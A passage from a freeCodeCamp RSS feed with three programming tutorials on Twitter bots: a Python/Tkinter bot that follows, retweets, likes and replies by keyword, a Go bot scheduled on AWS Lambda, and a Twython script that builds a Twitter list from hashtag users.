<pre><code>consumer_key = <span class="hljs-string">'consumer key'</span>consumer_secret = <span class="hljs-string">'consumer secrets'</span>access_token = <span class="hljs-string">'access token'</span>access_token_secret = <span class="hljs-string">'access token secret'</span>
</code></pre><pre><code>auth = tweepy.OAuthHandler(consumer_key, consumer_secret)auth.set_access_token(access_token, access_token_secret)api = tweepy.API(auth)
</code></pre><p>In order to check if your program is working you could add:</p>
<pre><code>user = api.me()print (user.name)
</code></pre><p>This should return the name of your Twitter account in the console.</p>
<h3 id="heading-building-the-bot">Building the Bot</h3>
<p>This bot is meant to:</p>
<ol>
<li>Follow everyone following you.</li>
<li>Favorite and Retweet a Tweet based on keywords.</li>
<li>Reply to a user based on a keyword.</li>
</ol>
<p>Step one is the easiest, you simply <strong>loop</strong> through your followers and then follow each one.</p>
<pre><code><span class="hljs-keyword">for</span> follower <span class="hljs-keyword">in</span> tweepy.Cursor(api.followers).items():    follower.follow()    print (<span class="hljs-string">"Followed everyone that is following "</span> + user.name)
</code></pre><p>At this point in order to make sure your code is working you should log onto Twitter and watch as the people you’re following increase.</p>
<p>From this point onwards, besides setting up and packing the labels in the GUI, I am coding everything under the function <code>mainFunction()</code>.</p>
<pre><code>def mainFunction():    #The code
</code></pre><p>You might be able to see where this is going. In order to favorite or retweet a tweet we can use a for loop and a try statement like this:</p>
<pre><code>search = <span class="hljs-string">"Keyword"</span>
</code></pre><pre><code>numberOfTweets = <span class="hljs-string">"Number of tweets you wish to interact with"</span>
</code></pre><pre><code><span class="hljs-keyword">for</span> tweet <span class="hljs-keyword">in</span> tweepy.Cursor(api.search, search).items(numberOfTweets):    <span class="hljs-keyword">try</span>:        tweet.retweet()        print(<span class="hljs-string">'Retweeted the tweet'</span>)
</code></pre><pre><code>    except tweepy.TweepError <span class="hljs-keyword">as</span> e:        print(e.reason)
</code></pre><pre><code>    except StopIteration:        <span class="hljs-keyword">break</span>
</code></pre><p>In order to favorite a tweet you can simply replace the</p>
<pre><code>tweet.retweet()
</code></pre><p>with</p>
<pre><code>tweet.favorite()
</code></pre><p>In order to reply to a user based on a keyword, we need to store the users username and twitter ID.</p>
<pre><code>tweetId = tweet.user.idusername = tweet.user.screen_name
</code></pre><p>We can then loop through the tweets and update our status (tweet) at each user.</p>
<pre><code>phrase = <span class="hljs-string">"What you would like your response tweet to say"</span>
</code></pre><pre><code><span class="hljs-keyword">for</span> tweet <span class="hljs-keyword">in</span> tweepy.Cursor(api.search, search).items(numberOfTweets):            <span class="hljs-keyword">try</span>:                tweetId = tweet.user.id                username = tweet.user.screen_name                api.update_status(<span class="hljs-string">"@"</span> + username + <span class="hljs-string">" "</span> + phrase, in_reply_to_status_id = tweetId)                print (<span class="hljs-string">"Replied with "</span> + phrase)                       except tweepy.TweepError <span class="hljs-keyword">as</span> e:                print(e.reason)
</code></pre><pre><code>           except StopIteration:                <span class="hljs-keyword">break</span>
</code></pre><p>If you want to only utilize the script through the terminal and update the code every time you wish to run it then you have completed your bot.</p>
<h3 id="heading-creating-the-gui">Creating the GUI</h3>
<p>We can create a GUI application that will take our inputs of the keyword you would like to search for and whether or not you would like to favorite a tweet.</p>
<p>We first need to initialize Tkinter and setup the layout.</p>
<p>To create our user interface, we are going to have seven labels for search, number of tweets, and reply. Plus the questions do you want to reply, favorite, retweet the tweet, and follow the user.</p>
<p>Remember the code below is <strong>outside</strong> and <strong>above</strong> our <code>mainFunction()</code>.</p>
<pre><code>root = Tk()
</code></pre><pre><code>label1 = Label( root, text=<span class="hljs-string">"Search"</span>)E1 = Entry(root, bd =<span class="hljs-number">5</span>)
</code></pre><pre><code>label2 = Label( root, text=<span class="hljs-string">"Number of Tweets"</span>)E2 = Entry(root, bd =<span class="hljs-number">5</span>)
</code></pre><pre><code>label3 = Label( root, text=<span class="hljs-string">"Response"</span>)E3 = Entry(root, bd =<span class="hljs-number">5</span>)
</code></pre><pre><code>label4 = Label( root, text=<span class="hljs-string">"Reply?"</span>)E4 = Entry(root, bd =<span class="hljs-number">5</span>)
</code></pre><pre><code>label5 = Label( root, text=<span class="hljs-string">"Retweet?"</span>)E5 = Entry(root, bd =<span class="hljs-number">5</span>)
</code></pre><pre><code>label6 = Label( root, text=<span class="hljs-string">"Favorite?"</span>)E6 = Entry(root, bd =<span class="hljs-number">5</span>)
</code></pre><pre><code>label7 = Label( root, text=<span class="hljs-string">"Follow?"</span>)E7 = Entry(root, bd =<span class="hljs-number">5</span>)
</code></pre><p>We also need to <strong>pack</strong> each label so that they show up and then call the root function in a loop so that it remains on the screen and doesn’t immediately close.</p>
<p>The following is what <strong>packing</strong> the first label looks like. I packed all of the labels below the <code>mainFunction()</code>.</p>
<pre><code>label1.pack()E1.pack()
</code></pre><pre><code>root.mainloop()
</code></pre><p>If you only ran your GUI code, it should look something like this:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/FyVf-GWVdug0wuVsY7tIJrmjP4PJdVvJwvmU" alt="Image" width="600" height="400" loading="lazy"></p>
<p>However, inputing text into the labels or clicking the submit button will do nothing at this point. As the interface is not yet connected to the code.</p>
<p>In order to store the user input in the labels, we need to use the <code>.get()</code> function. I used individual functions for each label.</p>
<pre><code>def getE1():    <span class="hljs-keyword">return</span> E1.get()
</code></pre><p>Then in my <code>mainFunction()</code>, I called the function <code>getE1()</code> and stored the input into a variable. For E1 it looks like this:</p>
<pre><code>getE1()search = getE1()
</code></pre><p>You must do this for every label. For the <code>numberOfTweets</code> label make sure to convert the input into an integer.</p>
<pre><code>getE2()numberOfTweets = getE2()numberOfTweets = int(numberOfTweets)
</code></pre><p>For the last four labels (Reply, Favorite, Retweet and Follow), we need to check to see if the input from the user is “yes” or “no” in order to run that given function or not. This can be accomplished through <strong>if</strong> statements.</p>
<p>This would be the code for the <strong>reply</strong> function:</p>
<pre><code><span class="hljs-keyword">if</span> reply == <span class="hljs-string">"yes"</span>:
</code></pre><pre><code>    <span class="hljs-keyword">for</span> tweet <span class="hljs-keyword">in</span> tweepy.Cursor(api.search,     search).items(numberOfTweets):            <span class="hljs-keyword">try</span>:                tweetId = tweet.user.id                username = tweet.user.screen_name                api.update_status(<span class="hljs-string">"@"</span> + username + <span class="hljs-string">" "</span> + phrase, in_reply_to_status_id = tweetId)                print (<span class="hljs-string">"Replied with "</span> + phrase)                       except tweepy.TweepError <span class="hljs-keyword">as</span> e:                print(e.reason)
</code></pre><pre><code>except StopIteration:                <span class="hljs-keyword">break</span>
</code></pre><p>For the favorite, retweet and follow functions simply replace the <strong>reply</strong> with “retweet”, “favorite” and “follow”. Then copy and paste the code you wrote above for each one underneath the <strong>if</strong> statement.</p>
<p>Now we just need to add the <strong>submit</strong> button and tell it to call the <code>mainFunction()</code> and execute the code for our Twitter Bot. Again, don’t forget to pack it!</p>
<pre><code>submit = Button(root, text =<span class="hljs-string">"Submit"</span>, command = mainFunction)
</code></pre><p>That’s it! After you run your bot script, a GUI application should run and you will be able to reply, retweet, favorite and follow users.</p>
<p>With this Twitter Bot, I have created the account <a target="_blank" href="https://twitter.com/FreeWtr">FreeWtr</a> which advocates for use of filtered tap water over bottled water. Here is a screenshot of the profile.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/DzAOfETdkXdCFlKhwI3Fh1LBl-cIw9VdRLKX" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Here is the <a target="_blank" href="https://github.com/Fidel-Willis/TwitterBot">full source code</a> on Github.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ I wanted freeCodeCamp Toronto’s Twitter to tweet quotes, so I made a free bot to do it. ]]>
                </title>
                <description>
                    <![CDATA[ If you read About time, you’ll know that I’m a big believer in spending time now on building things that save time in the future. To this end, I built a simple Twitter bot in Go that would occasionally post links to my articles and keep my account in... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/running-a-free-twitter-bot-on-aws-lambda-66160eb4de4/</link>
                <guid isPermaLink="false">66bd8f77abdea6b5b115fedd</guid>
                
                    <category>
                        <![CDATA[ bots ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Devops ]]>
                    </category>
                
                    <category>
                        <![CDATA[ General Programming ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Twitter ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Victoria Drake ]]>
                </dc:creator>
                <pubDate>Fri, 09 Mar 2018 00:45:56 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*BRRO1djJpCPe-Z92aBt62Q.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>If you read <a target="_blank" href="https://victoria.dev/verbose/about-time/">About time</a>, you’ll know that I’m a big believer in spending time now on building things that save time in the future. To this end, I built a simple Twitter bot in Go that would occasionally post links to my articles and keep my account interesting even when I’m too busy to use it. The tweets help drive traffic to my sites, and I don’t have to lift a finger.</p>
<p>I ran the bot on an Amazon EC2 instance for about a month. My AWS usage has historically been pretty inexpensive (less than the price of a coffee in most of North America), so I was surprised when the little instance I was using racked up a bill 90% bigger than the month before. I don’t think AWS is expensive, to be clear, but still… I’m cheap. I want my Twitter bot, and I want it for less.</p>
<p>I’d been meaning to explore AWS Lamda, and figured this was a good opportunity. Unlike an EC2 instance that is constantly running (and charging you for it), Lambda charges you per request and according to the duration of the time your function takes to run. There’s a free tier, too, and the first 1 million requests, plus a certain amount of compute time, are free.</p>
<p>Roughly translated to running a Twitter bot that posts for you, say, twice a day, your monthly cost for using Lambda would total… carry the one… nothing. I’ve been running my Lambda function for a couple weeks now, completely free.</p>
<p>When it recently came time for me to take the reigns of the <a target="_blank" href="https://twitter.com/freeCodeCampTO">@freeCodeCampTO</a> Twitter, I decided to employ a similar strategy. I also used this opportunity to document the process for you, dear reader.</p>
<p>So if you’re currently using a full-time running instance for a task that could be served by a cron job, this is the article for you. I’ll cover how to write your function for Lambda, and how to get it set up to run automatically. And, as a sweet little bonus, I’ll include a handy bash script that updates your function from the command line whenever you need to make a change. Let’s do it!</p>
<h3 id="heading-is-lambda-right-for-you">Is Lambda right for you?</h3>
<p>When I wrote the code for my Twitter bot in Go, I intended to have it run on an AWS instance and I borrowed heavily from <a target="_blank" href="https://github.com/campoy/justforfunc/tree/master/14-twitterbot">Francesc’s awesome Just for Func episode</a>. Some time later, I modified it to randomly choose an article from my RSS feeds and to tweet the link, twice a day. I wanted to do something similar for the @freeCodeCampTO bot, and have it tweet an inspiring quote about programming every morning.</p>
<p>This is a good use case for Lambda because:</p>
<ul>
<li>The program should execute once</li>
<li>It runs on a regular schedule, using time as a trigger</li>
<li>It doesn’t need to run constantly</li>
</ul>
<p>The important thing to keep in mind is that Lambda runs a function once in response to an event that you define. The most widely applicable trigger is a simple cron expression, but there are many other trigger events you can hook up. You can get an overview <a target="_blank" href="https://aws.amazon.com/lambda/">here</a>.</p>
<h3 id="heading-write-a-lambda-function">Write a Lambda function</h3>
<p>I found this really straightforward to do in Go. First, grab the <a target="_blank" href="https://github.com/aws/aws-lambda-go">aws-lambda-go</a> library:</p>
<pre><code>go get github.com/aws/aws-lambda-go/lambda
</code></pre><p>Then make this your <code>func main()</code>:</p>
<pre><code class="lang-js">func main() { 
       lambda.Start(tweetFeed) 
}
</code></pre>
<p>where <code>tweetFeed</code> is the name of the function that makes everything happen. While I won’t go into writing the whole Twitter bot here, you can view my <a target="_blank" href="https://gist.github.com/victoriadrake/7859dab68df87e28f40d6715d08383c7">code on GitHub</a>.</p>
<h3 id="heading-setting-up-aws-lambda">Setting up AWS Lambda</h3>
<p>I’m assuming you already have an AWS account. If not, first things first here: <a target="_blank" href="https://aws.amazon.com/free">https://aws.amazon.com/free</a></p>
<h3 id="heading-1-create-your-function">1. Create your function</h3>
<p>Find AWS Lambda in the list of services, then look for this shiny button:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/qIm1TxAXfJKEGAFbnbqES24MR65doEaTekrW" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We’re going to author a function from scratch. Name your function, then under <strong>Runtime</strong> choose “Go 1.x”.</p>
<p>Under <strong>Role name</strong> write any name you like. It’s a required field, but irrelevant for this use case.</p>
<p>Click <strong>Create function.</strong></p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/Q05OinPHTS5NY-XOFLXE5sGaSsU-qESrDVWy" alt="Image" width="600" height="400" loading="lazy"></p>
<h3 id="heading-2-configure-your-function">2. Configure your function</h3>
<p>You’ll see a screen for configuring your new function. Under <strong>Handler</strong> enter the name of your Go program.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/B9QTTbx0JTqtsumeH0Jf387oW1PLpMe7U7Fu" alt="Image" width="600" height="400" loading="lazy"></p>
<p>If you scroll down, you’ll see a spot to enter environment variables. This is a great place to enter the Twitter API tokens and secrets, using the variable names that your program expects. The AWS Lambda function will create the environment for you using the variables you provide here.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/6g09YtNJPhHQYNwS1flNHOg4TgjXY0AwFYB3" alt="Image" width="600" height="400" loading="lazy"></p>
<p>No further settings are necessary for this use case. Click <strong>Save</strong> at the top of the page.</p>
<h3 id="heading-3-upload-your-code">3. Upload your code</h3>
<p>You can upload your function code as a zip file on the configuration screen. Since we’re using Go, you’ll want to <code>go build</code> first, then zip the resulting executable before uploading that to Lambda.</p>
<p>…Of course I’m not going to do that manually every time I want to tweak my function. That’s what <code>awscli</code> and this bash script are for!</p>
<p><code>update.sh</code></p>
<pre><code>go build &amp;&amp; \ 
zip fcc-tweet.zip fcc-tweet &amp;&amp; \ 
rm fcc-tweet &amp;&amp; \ 
aws lambda update-<span class="hljs-function"><span class="hljs-keyword">function</span>-<span class="hljs-title">code</span> --<span class="hljs-title">function</span>-<span class="hljs-title">name</span> <span class="hljs-title">fcc</span>-<span class="hljs-title">tweet</span> --<span class="hljs-title">zip</span>-<span class="hljs-title">file</span> <span class="hljs-title">fileb</span>://<span class="hljs-title">fcc</span>-<span class="hljs-title">tweet</span>.<span class="hljs-title">zip</span> &amp;&amp; \ 
<span class="hljs-title">rm</span> <span class="hljs-title">fcc</span>-<span class="hljs-title">tweet</span>.<span class="hljs-title">zip</span></span>
</code></pre><p>Now whenever I make a tweak, I just run <code>bash update.sh</code>.</p>
<p>If you’re not already using <a target="_blank" href="https://aws.amazon.com/cli/">AWS Command Line Interface</a>, do <code>pip install awscli</code> and thank me later. Find instructions for getting set up and configured in a few minutes <a target="_blank" href="https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html">here</a> under <strong>Quick Configuration</strong>.</p>
<h3 id="heading-4-test-your-function">4. Test your function</h3>
<p>Wanna see it go? Of course you do! Click “Configure test events” in the dropdown at the top.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/JWXu1kePtQwT0sMHRSuGblbMqTnn5rFMigV2" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Since you’ll use a time-based trigger for this function, you don’t need to enter any code to define test events in the popup window. Simply write any name under <strong>Event name</strong> and empty the JSON in the field below. Then click <strong>Create</strong>.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/fLckVqobjQUiH32AMTkhbaMdyQeiyu64KVFU" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Click <strong>Test</strong> at the top of the page, and if everything is working correctly you should see…</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/tqJRKThljxHyeBe0EUULpDbIUz6NFKi5Dk9Z" alt="Image" width="600" height="400" loading="lazy"></p>
<h3 id="heading-5-set-up-cloudwatch-events">5. Set up CloudWatch Events</h3>
<p>To run our function as we would a cron job — as a regularly scheduled time-based event — we’ll use CloudWatch. Click <strong>CloudWatch Events</strong> in the <strong>Designer</strong> sidebar.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/RT2ZUJs1FniR6coBW4HBiM1zlvtfDDvyBt2w" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Under <strong>Configure triggers</strong>, you’ll create a new rule. Choose a descriptive name for your rule without spaces or punctuation, and ensure <strong>Schedule expression</strong> is selected. Then input the time you want your program to run as a <em>rate expression</em>, or cron expression.</p>
<p>A cron expression looks like this: <code>cron(0 12 * * ? *)</code></p>
<p>The items in the brackets represent, in order: minutes, hours, day of month, month, day of week, and year. In English, it says: Run at noon (UTC) every day.</p>
<p>For more on how to write your cron expressions, read <a target="_blank" href="https://docs.aws.amazon.com/AmazonCloudWatch/latest/events/ScheduledEvents.html">this.</a></p>
<p>To find out what the current time in UTC is, click <a target="_blank" href="https://codepen.io/victoriadrake/full/OQabar">here.</a></p>
<p>If you want your program to run twice a day, say once at 10am and again at 3pm, you’ll need to set two separate CloudWatch Events triggers and cron expression rules.</p>
<p>Click <strong>Add</strong>.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/h5qitsKU9RfEayGeKITs32sWemUvD2KYMioV" alt="Image" width="600" height="400" loading="lazy"></p>
<h3 id="heading-watch-it-go">Watch it go</h3>
<p>That’s all you need to get your Lambda function up and running! Now you can sit back, relax, and do more important things than share your RSS links on Twitter.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How I automatically created a Twitter List of FreeCodeCampers in 5 minutes ]]>
                </title>
                <description>
                    <![CDATA[ By Monica Powell Using Twython Twitter API wrapper to add users to a Twitter List We are going to create a Python script that will automatically search Twitter for individuals who use the #freeCodeCamp hashtag and add them to a Twitter list of “Free... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-i-automatically-created-a-twitter-list-of-freecodecampers-in-5-minutes-425f0b922118/</link>
                <guid isPermaLink="false">66c34d3d912fb29c4f156bec</guid>
                
                    <category>
                        <![CDATA[ coding ]]>
                    </category>
                
                    <category>
                        <![CDATA[ freeCodeCamp.org ]]>
                    </category>
                
                    <category>
                        <![CDATA[ General Programming ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Python ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Twitter ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Wed, 17 Jan 2018 23:20:25 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*mUQDjnECZGSncv_imkD3yA.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Monica Powell</p>
<h4 id="heading-using-twython-twitter-api-wrapper-to-add-users-to-a-twitter-list">Using Twython Twitter API wrapper to add users to a Twitter List</h4>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*mUQDjnECZGSncv_imkD3yA.jpeg" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We are going to create a Python script that will automatically search Twitter for individuals who use the <strong>#freeCodeCamp</strong> hashtag and add them to a Twitter list of “FreeCodeCampers”. <a target="_blank" href="https://help.twitter.com/en/using-twitter/twitter-lists">Twitter lists</a> are a way to curate a group of individuals on Twitter and collect all of their tweets in a stream, without having to follow each individual accounts. Twitter lists can contain up to 5,000 individual Twitter accounts.</p>
<p>We can accomplish this by doing the following:</p>
<ul>
<li>Installing the necessary Python packages</li>
<li>Registering an application with Twitter</li>
<li>Generating and accessing our Twitter credentials</li>
<li>Making Twitter <a target="_blank" href="https://developer.twitter.com/en/docs/tweets/search/api-reference/get-search-tweets">Search</a> and <a target="_blank" href="https://developer.twitter.com/en/docs/accounts-and-users/create-manage-lists/api-reference/get-lists-list">List</a> API calls</li>
</ul>
<p>So lets get started.</p>
<h3 id="heading-1-installing-the-necessary-python-packages">1. Installing the necessary Python packages</h3>
<p>Create a file named <code>addToFreeCodeCampList.py</code>, that will contain our main script and then import two Python modules into this file:</p>
<ul>
<li><strong>Import Config:</strong> In the same directory as our<code>addToFreeCodeCampList.py</code> script, create a file named <code>config.py</code> that stores our confidential Twitter API credentials. We are going to import our API credentials from that file into our <code>addToFreeCodeCampList.py</code> script by including the line <code>import config</code>. Twitter requires a valid API key, API secret, access token and token secret for all API requests.</li>
<li><strong>Import Twython:</strong> <a target="_blank" href="https://github.com/ryanmcgrath/twython">Twython</a> is a Python wrapper for the Twitter API that makes it easier to programmatically access and manipulate data from Twitter using Python. We can import Twython with the following line <code>from twython import Twython, TwythonError</code>.</li>
</ul>
<p>Your <code>addToFreeCodeCampList.py</code> script should now look like this.</p>
<pre><code><span class="hljs-keyword">import</span> configfrom twython <span class="hljs-keyword">import</span> Twython, TwythonError
</code></pre><h3 id="heading-2-registering-an-application-with-twitter">2. Registering an application with Twitter</h3>
<p>We need to authenticate our application in order to access the Twitter API. You need to have a Twitter account in order to access <a target="_blank" href="https://apps.twitter.com/">Twitter’s Application Management site</a>. The Application Management site is where you can view/edit/create API keys, API secrets, access tokens and token secrets.</p>
<ol>
<li>In order to create these credentials, we need to create a Twitter application. Go to the Application Management site and click on “Create New App”. This should direct you to a page that looks similar to the one below.</li>
</ol>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*H8TiOR6qnIXo_sNoRb7OGw.png" alt="Image" width="600" height="400" loading="lazy"></p>
<ol start="2">
<li>Fill out of the required fields and click on “Create your Twitter application”. You will then be redirected to a page with details about your application.</li>
</ol>
<h3 id="heading-3-generating-and-accessing-our-twitter-credentials">3. Generating and accessing our Twitter credentials</h3>
<ol>
<li>Click on the tab that says “Keys and Access Tokens” and copy the “Consumer Key (API Key)” and “Consumer Secret (API Secret)” into the <code>config.py</code> file</li>
<li>Scroll down to the bottom of the page and click on “Create my access token”. Copy the generated “Access Token” and “Access Token Secret” into the <code>config.py</code> file.</li>
</ol>
<p>For reference, I recommend formatting your config.py similar to the file below:</p>
<ol start="3">
<li>Currently, all of our Twitter credentials live inside our <code>config.py</code> file and we’ve imported <code>config</code> into our <code>addToFreeCodeCampList.py</code> file. However, we have not actually passed any information between the files.</li>
</ol>
<p>Let’s change that by creating a Twython object and passing in the necessary API key, API secrets and API token from our <code>config.py</code> file with the following:</p>
<pre><code>twitter = Twython(config.api_key, config.api_secret, config.access_token, config.token_secret)<span class="hljs-string">`</span>
</code></pre><p>The <code>addToFreeCodeCampList.py</code> file should now look similar to this:</p>
<pre><code><span class="hljs-keyword">import</span> config
</code></pre><pre><code><span class="hljs-keyword">from</span> twython <span class="hljs-keyword">import</span> Twython, TwythonError
</code></pre><pre><code># create a Twython object by passing the necessary secret passwordstwitter = Twython(config.api_key, config.api_secret, config.access_token, config.token_secret)
</code></pre><h3 id="heading-4-making-twitter-search-and-list-api-calls">4. Making Twitter Search and List API calls</h3>
<ol>
<li>Let’s make an API call to search Twitter and return the 100 most recent tweets (excluding retweets) that contain “#freeCodeCamp”:</li>
</ol>
<pre><code># <span class="hljs-keyword">return</span> tweets containing #FreeCodeCampresponse = twitter.search(q=’”#FreeCodeCamp” -filter:retweets’, result_type=”recent”, count=<span class="hljs-number">100</span>)
</code></pre><ol start="2">
<li>Look at the tweets returned from our search</li>
</ol>
<pre><code># <span class="hljs-keyword">for</span> each tweet returned <span class="hljs-keyword">from</span> search <span class="hljs-keyword">of</span> #FreeCodeCampfor tweet <span class="hljs-keyword">in</span> response[‘statuses’]: # print tweet info <span class="hljs-keyword">if</span> needed <span class="hljs-keyword">for</span> debugging print(tweet) print(tweet[‘user’][‘screen_name’])
</code></pre><p>A single tweet returned by this API call looks like this in JSON:</p>
<pre><code>{<span class="hljs-string">'created_at'</span>: <span class="hljs-string">'Sun Dec 24 00:23:05 +0000 2017'</span>, <span class="hljs-string">'id'</span>: <span class="hljs-number">944725078763298816</span>, <span class="hljs-string">'id_str'</span>: <span class="hljs-string">'944725078763298816'</span>, <span class="hljs-string">'text'</span>: <span class="hljs-string">'Why is it so hard to wrap my head around node/express. Diving in just seems so overwhelming. Templates, forms, post… https://t.co/ae52rro63i'</span>, <span class="hljs-string">'truncated'</span>: True, <span class="hljs-string">'entities'</span>: {<span class="hljs-string">'hashtags'</span>: [], <span class="hljs-string">'symbols'</span>: [], <span class="hljs-string">'user_mentions'</span>: [], <span class="hljs-string">'urls'</span>: [{<span class="hljs-string">'url'</span>: <span class="hljs-string">'https://t.co/ae52rro63i'</span>, <span class="hljs-string">'expanded_url'</span>: <span class="hljs-string">'https://twitter.com/i/web/status/944725078763298816'</span>, <span class="hljs-string">'display_url'</span>: <span class="hljs-string">'twitter.com/i/web/status/9…'</span>, <span class="hljs-string">'indices'</span>: [<span class="hljs-number">117</span>, <span class="hljs-number">140</span>]}]}, <span class="hljs-string">'metadata'</span>: {<span class="hljs-string">'iso_language_code'</span>: <span class="hljs-string">'en'</span>, <span class="hljs-string">'result_type'</span>: <span class="hljs-string">'recent'</span>}, <span class="hljs-string">'source'</span>: <span class="hljs-string">'&lt;a href="http://twitter.com" rel="nofollow"&gt;Twitter Web Client&lt;/a&gt;'</span>, <span class="hljs-string">'in_reply_to_status_id'</span>: None, <span class="hljs-string">'in_reply_to_status_id_str'</span>: None, <span class="hljs-string">'in_reply_to_user_id'</span>: None, <span class="hljs-string">'in_reply_to_user_id_str'</span>: None, <span class="hljs-string">'in_reply_to_screen_name'</span>: None, <span class="hljs-string">'user'</span>: {<span class="hljs-string">'id'</span>: <span class="hljs-number">48602981</span>, <span class="hljs-string">'id_str'</span>: <span class="hljs-string">'48602981'</span>, <span class="hljs-string">'name'</span>: <span class="hljs-string">'Matt Huberty'</span>, <span class="hljs-string">'screen_name'</span>: <span class="hljs-string">'MattHuberty'</span>, <span class="hljs-string">'location'</span>: <span class="hljs-string">'Oxford, MS'</span>, <span class="hljs-string">'description'</span>: <span class="hljs-string">"I'm a science and video game loving eagle scout with a Microbio degree from UF. Nowadays I'm working on growing my tutoring business at Ole Miss. Link below!"</span>, <span class="hljs-string">'url'</span>: <span class="hljs-string">'https://t.co/dfuqNNoBYZ'</span>, <span class="hljs-string">'entities'</span>: {<span class="hljs-string">'url'</span>: {<span class="hljs-string">'urls'</span>: [{<span class="hljs-string">'url'</span>: <span class="hljs-string">'https://t.co/dfuqNNoBYZ'</span>, <span class="hljs-string">'expanded_url'</span>: <span class="hljs-string">'http://www.thetutorcrew.com'</span>, <span class="hljs-string">'display_url'</span>: <span class="hljs-string">'thetutorcrew.com'</span>, <span class="hljs-string">'indices'</span>: [<span class="hljs-number">0</span>, <span class="hljs-number">23</span>]}]}, <span class="hljs-string">'description'</span>: {<span class="hljs-string">'urls'</span>: []}}, <span class="hljs-string">'protected'</span>: False, <span class="hljs-string">'followers_count'</span>: <span class="hljs-number">42</span>, <span class="hljs-string">'friends_count'</span>: <span class="hljs-number">121</span>, <span class="hljs-string">'listed_count'</span>: <span class="hljs-number">4</span>, <span class="hljs-string">'created_at'</span>: <span class="hljs-string">'Fri Jun 19 04:00:44 +0000 2009'</span>, <span class="hljs-string">'favourites_count'</span>: <span class="hljs-number">991</span>, <span class="hljs-string">'utc_offset'</span>: <span class="hljs-number">-28800</span>, <span class="hljs-string">'time_zone'</span>: <span class="hljs-string">'Pacific Time (US &amp; Canada)'</span>, <span class="hljs-string">'geo_enabled'</span>: False, <span class="hljs-string">'verified'</span>: False, <span class="hljs-string">'statuses_count'</span>: <span class="hljs-number">199</span>, <span class="hljs-string">'lang'</span>: <span class="hljs-string">'en'</span>, <span class="hljs-string">'contributors_enabled'</span>: False, <span class="hljs-string">'is_translator'</span>: False, <span class="hljs-string">'is_translation_enabled'</span>: False, <span class="hljs-string">'profile_background_color'</span>: <span class="hljs-string">'C0DEED'</span>, <span class="hljs-string">'profile_background_image_url'</span>: <span class="hljs-string">'http://abs.twimg.com/images/themes/theme1/bg.png'</span>, <span class="hljs-string">'profile_background_image_url_https'</span>: <span class="hljs-string">'https://abs.twimg.com/images/themes/theme1/bg.png'</span>, <span class="hljs-string">'profile_background_tile'</span>: False, <span class="hljs-string">'profile_image_url'</span>: <span class="hljs-string">'http://pbs.twimg.com/profile_images/777294001598758912/FVOIrnb4_normal.jpg'</span>, <span class="hljs-string">'profile_image_url_https'</span>: <span class="hljs-string">'https://pbs.twimg.com/profile_images/777294001598758912/FVOIrnb4_normal.jpg'</span>, <span class="hljs-string">'profile_banner_url'</span>: <span class="hljs-string">'https://pbs.twimg.com/profile_banners/48602981/1431670621'</span>, <span class="hljs-string">'profile_link_color'</span>: <span class="hljs-string">'1DA1F2'</span>, <span class="hljs-string">'profile_sidebar_border_color'</span>: <span class="hljs-string">'C0DEED'</span>, <span class="hljs-string">'profile_sidebar_fill_color'</span>: <span class="hljs-string">'DDEEF6'</span>, <span class="hljs-string">'profile_text_color'</span>: <span class="hljs-string">'333333'</span>, <span class="hljs-string">'profile_use_background_image'</span>: True, <span class="hljs-string">'has_extended_profile'</span>: True, <span class="hljs-string">'default_profile'</span>: True, <span class="hljs-string">'default_profile_image'</span>: False, <span class="hljs-string">'following'</span>: False, <span class="hljs-string">'follow_request_sent'</span>: False, <span class="hljs-string">'notifications'</span>: False, <span class="hljs-string">'translator_type'</span>: <span class="hljs-string">'none'</span>}, <span class="hljs-string">'geo'</span>: None, <span class="hljs-string">'coordinates'</span>: None, <span class="hljs-string">'place'</span>: None, <span class="hljs-string">'contributors'</span>: None, <span class="hljs-string">'is_quote_status'</span>: False, <span class="hljs-string">'retweet_count'</span>: <span class="hljs-number">1</span>, <span class="hljs-string">'favorite_count'</span>: <span class="hljs-number">0</span>, <span class="hljs-string">'favorited'</span>: False, <span class="hljs-string">'retweeted'</span>: False, <span class="hljs-string">'lang'</span>: <span class="hljs-string">'en'</span>}MattHuberty
</code></pre><p>and like this on Twitter.com:</p>
<ol start="3">
<li>Add Tweet-ers to our Twitter list</li>
</ol>
<p>In order to add the author of the tweet to our Twitter list we need the username associated with the tweet <code>tweet['user']['screen_name']</code></p>
